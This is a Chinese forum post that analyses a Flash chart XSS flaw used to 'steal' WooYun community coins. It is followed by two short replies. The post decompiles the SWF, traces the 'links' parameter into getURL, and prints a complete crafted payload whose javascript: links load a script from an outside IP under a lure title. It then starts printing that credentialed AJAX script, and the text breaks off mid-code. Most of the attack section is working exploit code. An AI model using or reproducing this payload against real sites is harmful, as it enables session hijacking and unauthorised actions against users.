阅读:4370回复:2
闲扯下午引爆乌云社区“盗窃”乌云币事件
起因
请各位看官看这里:http://zone.wooyun.org/content/4997 斗胆分析下漏洞细节,在 http://www.showmycode.com/ 上面反编译该 flash 代码。 搜索,配置文件是通过 data 参数传入进去的,搜索 _root.data,找到如下代码: #!as3var lv = new LoadVars();lv.onLoad = LoadVarsOnLoad;lv.make_chart = make_chart;lv.make_pie = make_pie;if (_root.data == undefined) { if (_root.variables == undefined) { _root.data = "C:UsersJohnDocumentsflashsvndata-filesdata-47.txt"; lv.load(_root.data); } else { _root.LoadVarsOnLoad = LoadVarsOnLoad; _root.LoadVarsOnLoad(true); }} else { lv.load(_root.data);}通过 LoadVars 载入的,LoadVars 载入的数据是以 & 符号分割的,载入完成调用 LoadVarsOnLoad 函数。跟进去看代码 #!as3function LoadVarsOnLoad(success) { if (!success) { _root.loading.done(); _root.oops(_root.data); return(undefined); } if (_root.oops != undefined) { removeMovieClip("oops"); } for (i in _root) { if (typeof(_root) == "movieclip") { removeMovieClip(_root); } delete i; } _root.css = new Css("margin-top: 30;margin-right: 40;"); NumberFormat.getInstance(this); NumberFormat.getInstanceY2(this); _root._background = new Background(this); if (this.pie != undefined) { this.make_pie(); } else { this.make_chart(); } if (this.tool_tip != undefined) { _root.tool_tip_wrapper = this.tool_tip.replace("#comma#", ","); } _root.loading.done(); _root.move();}看下面,如果外部数据中有 pie ,就调用 this.make_pie()。 #!as3if (this.pie != undefined) { this.make_pie();}搜索 make_pie 这个函数看代码,有如下,调用了 new PieStyle(this, "pie"); #!as3function make_pie() { _root._pie = new PieStyle(this, "pie"); _root._title = new Title(this);}继续跟进去,在这个类中的初始化函数最开始有 links = lv.links.split(","); ,lv.links 从外部传入通过 split 后放入 links ,最后调用了 set_values(_local6),继续看 set_values 函数,有如下代码: #!as3function set_values(v) { super.set_values(v); pie_mcs = new Array(values.length); var _local4 = 0; while (_local4 < values.length) { var _local5 = _root.createEmptyMovieClip((name + "_") + _local4, _root.getNextHighestDepth()); _local5.onRollOver = function () { ChartUtil.FadeIn(this, true); }; _local5.onRollOut = function () { ChartUtil.FadeOut(this); }; if (links.length > _local4) { _local5._ofc_link = links[_local4]; _local5.onRelease = function () { trace(this._ofc_link); getURL (this._ofc_link); }; } var _local6 = {x_label:labels[_local4], value:values[_local4], key:"??"}; _local5.tooltip = _local6; pie_mcs[_local4] = _local5; _local4++; } valPos();}这个函数是关键,遍历 links,然后放入 getURL 中,因为 getURL 这里是可以执行 js 代码的。 利用 既然可以 xss,那就可以绕过 token 机制,对 wooyun 的业务进行操作了,先来看下如何构造远程数据。看如下代码: &title=腾讯高危漏洞一览表(点击类别可以查看详情),{font-size:18px; color: #d01f3c}&&x_axis_steps=1&&y_ticks=50,50&&line=2,#87421F&&y_min=0&&y_max=20&&pie=60,#E4F0DB,{display:none;},1,,1&&values=50,50&&pie_labels=远程命令执行,腾讯客户端溢出&&colours=#d01f3c,#356aa0&&links=javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);,javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);&&tool_tip=类别%3A+%23x_label%23%3Cbr%3E比例%3A+%23val%23%25&起了个很响亮的标题明“腾讯高危漏洞一览表(点击类别可以查看详情)”,让看到的很很有欲望点击中间的圆圈圈有木有,链接写成 javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);加载我们的 js 文件。 js 文件的代码如下: #!javascript/* * ajax */ajax = function(url, params, callback) { (params instanceof Function) && (callback = params, params = void(0)); var XHR = (window.XDomainRequest) || window.XMLHttpRequest || (function() { return new ActiveXObject('MSXML2.XMLHTTP') }); var xhr = new XHR(); xhr.open(params ? 'post' : 'get', url); xhr.withCredentials = true; try { params && xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded'); } catch (e) {} callback && (xhr.onreadystatechange = function() { (this.readyState == 4 && ((this.status >= 200 && this.status |
|
沙发#
发布于:2015-07-18 12:25
谢谢了
|
|
|
板凳#
发布于:2015-07-25 11:49
虽然看不懂!
|
|
|